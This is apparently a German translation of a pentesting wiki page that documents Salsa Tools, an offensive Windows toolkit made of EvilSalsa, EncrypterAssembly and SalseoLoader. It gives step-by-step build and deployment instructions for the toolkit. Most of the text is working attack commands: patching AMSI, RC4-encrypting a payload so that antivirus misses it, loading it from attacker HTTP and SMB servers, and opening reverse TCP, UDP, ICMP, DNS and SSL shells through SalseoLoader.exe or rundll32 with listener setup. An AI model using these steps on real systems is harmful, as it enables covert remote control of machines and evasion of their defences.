
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY und AV-Bypass, AMSI gepatcht
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools ist eine Sammlung von drei verschiedenen Tools, die zusammen eine Reverse Shell unter Windows mit Steroiden ermöglichen, ohne dass für die Ausführung PowerShell benötigt wird. Um die neuesten Erkennungstechniken (AMSI) zu umgehen, wurden die meisten Komponenten ursprünglich in C# geschrieben. Salsa Tools wurde von Luis Vacas während seines Vortrags „Inmersión en la explotación tiene rima“ auf der h-c0n am 9. Februar 2019 veröffentlicht.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV-sicher (17. Februar)
* AMSI-Patcher
* PowerShell-Ausführung
* ...
Salsa-Tools besteht aus drei verschiedenen Zutaten: - EvilSalsa - EncrypterAssembly - SalseoLoader Und sein Verhalten ist wie folgt:
___ __ __ ____ _
/ _] | | || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] Das ist unser Payload
EvilSalsa ist die Schlüsselzutat dieses Rezepts. Es enthält den Payload, der auf dem System wie folgt ausgeführt wird: Sobald der Payload startet, wird System.Management.Automation.dll ausgeführt, die einen Runspace erstellt. Innerhalb dieses Runspace haben wir vier Arten von Shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Sobald EvilSalsa geladen ist, wird als erstes die Existenz von c:\windows\system32\amsi.dll überprüft. Wenn es existiert, wird es mit einer hausgemachten Variante der CyberArk- und Rastamouse-Bypasses gepatcht.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Software, die den Payload mit RC4 verschlüsselt
[+] Wir haben die Python-Version und die .exe-Version
EncrypterAssembly kann als Python-Skript oder als Exe-Binärdatei verwendet werden. Es verschlüsselt den zuvor generierten EvilSalsa.
Python-Verwendung:
python encrypterassembly.py <DATEI> <PASSWORT> <AUSGABE>
Ausführbare Datei Verwendung:
Encrypterassembly.exe <DATEI> <PASSWORT> <AUSGABE>
SalseoLoader ist dafür verantwortlich, den verschlüsselten Payload zu laden. Er kann sowohl als Bibliothek als auch als ausführbare Datei kompiliert werden. Wenn er als ausführbare Datei ausgeführt wird, müssen die gewählten Argumente beim Start der ausführbaren Datei angegeben werden. Wenn er als Bibliothek kompiliert wird, muss der Deskriptor "main" exportiert werden. Argumente werden über Umgebungsvariablen hinzugefügt.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Verwendung:
[-] SalseoLoader.exe passwort http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe passwort \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe passwort c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe passwort http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe passwort http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe passwort c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe passwort http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe passwort http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Verfügbare Payloads:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Laden Sie den Quellcode von GitHub herunter und kompilieren Sie EvilSalsa und SalseoLoader. Sie benötigen Visual Studio, um den Code zu kompilieren.
Kompilieren Sie diese Projekte für die Architektur der Windows-Umgebung, in der Sie sie verwenden möchten (wenn Windows x64 unterstützt, kompilieren Sie für diese Architektur).
Sie können die Architektur in Visual Studio im linken "Build"-Tab unter "Platform Target" auswählen.
(Falls Sie diese Optionen nicht finden, klicken Sie auf den "Projekt"-Tab und dann auf "-Eigenschaften")

Erstellen Sie dann beide Projekte (Build -> Build Solution) (In den Logs erscheint der Pfad zur ausführbaren Datei):

Zuerst müssen Sie die EvilSalsa.dll kodieren. Dazu können Sie das Python-Skript encrypterassembly.py verwenden oder das Projekt EncrypterAssembly kompilieren
python EncrypterAssembly/encrypterassembly.py <DATEI> <PASSWORT> <AUSGABEDATEI>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll passwort evilsalsa.dll.txt
EncrypterAssembly.exe <DATEI> <PASSWORT> <AUSGABEDATEI>
EncrypterAssembly.exe EvilSalsa.dll passwort evilsalsa.dll.txt
Ok, jetzt haben Sie alles, was Sie brauchen, um das gesamte Salseo-Ding auszuführen: die kodierte EvilSalsa.dll und die Binärdatei von SalseoLoader. Laden Sie die SalseoLoader.exe-Binärdatei auf die Maschine hoch. Sie sollte von keinem AV erkannt werden...
Denken Sie daran, einen nc als Reverse-Shell-Listener und einen HTTP-Server zum Bereitstellen der kodierten evilsalsa zu starten.
SalseoLoader.exe passwort http://<Angreifer-IP>/evilsalsa.dll.txt reversetcp <Angreifer-IP> <Port>
Denken Sie daran, einen nc als Reverse-Shell-Listener und einen SMB-Server zum Bereitstellen der kodierten evilsalsa zu starten (impacket-smbserver).
SalseoLoader.exe passwort \\<Angreifer-IP>/ordner/evilsalsa.dll.txt reverseudp <Angreifer-IP> <Port>
Listener auf der Angreifermaschine einrichten:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <port> -tls1
Backdoor ausführen:
SalseoLoader.exe passwort C:/pfad/zu/evilsalsa.dll.txt ReverseSSL <Angreifer-IP> <Port>
Diesmal benötigen Sie ein spezielles Tool auf dem Client, um die Reverse-Shell zu empfangen. Download: [https://github.com/inquisb/icmpsh]
ICMP-Antworten deaktivieren:
#Wenn Sie fertig sind, können Sie es wieder aktivieren mit:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Client ausführen:
python icmpsh_m.py "<Angreifer-IP>" "<Ziel-IP>"
Im Zielsystem das Salseo-Ding ausführen:
SalseoLoader.exe passwort C:/pfad/zu/evilsalsa.dll.txt reverseicmp <Angreifer-IP>
Öffnen Sie das SalseoLoader-Projekt mit Visual Studio.
Fügen Sie vor der main-Funktion diese Zeile ein: [DllExport]

Tools --> NuGet-Paket-Manager --> NuGet-Pakete für Projektmappe verwalten...

Nach dem DllExport-Paket suchen (Registerkarte "Durchsuchen") und auf Installieren klicken (und das Popup akzeptieren)

In Ihrem Projektordner sind die Dateien DllExport.bat und DllExport_Configure.bat erschienen.
Klicken Sie auf Deinstallieren (ja, es ist seltsam, aber vertrauen Sie mir, es ist notwendig)

Schließen Sie Visual Studio
Gehen Sie dann zu Ihrem SalseoLoader-Ordner und führen Sie DllExport_Configure.bat aus Wählen Sie x64 (wenn Sie es in einer x64-Umgebung verwenden möchten, das war bei mir der Fall), wählen Sie System.Runtime.InteropServices (unter Namespace for DllExport) und klicken Sie auf Übernehmen

[DllExport] sollte nicht mehr als Fehler markiert sein

Ausgabetyp = Klassenbibliothek wählen (Projekt --> SalseoLoader-Eigenschaften --> Anwendung --> Ausgabetyp = Klassenbibliothek)

x64-Plattform wählen (Projekt --> SalseoLoader-Eigenschaften --> Build --> Plattformziel = x64)

Um die Projektmappe zu erstellen: Build --> Projektmappe erstellen (In der Ausgabekonsole erscheint der Pfad zur neuen DLL)
Kopieren Sie die DLL dorthin, wo Sie sie testen möchten.
Ausführen:
rundll32.exe SalseoLoader.dll,main
Wenn kein Fehler erscheint, haben Sie wahrscheinlich eine funktionierende DLL!
Vergessen Sie nicht, einen HTTP-Server und einen nc-Listener zu verwenden
$env:pass="passwort"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=passwort
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Dokumentiert von https://github.com/carlospolop-forks/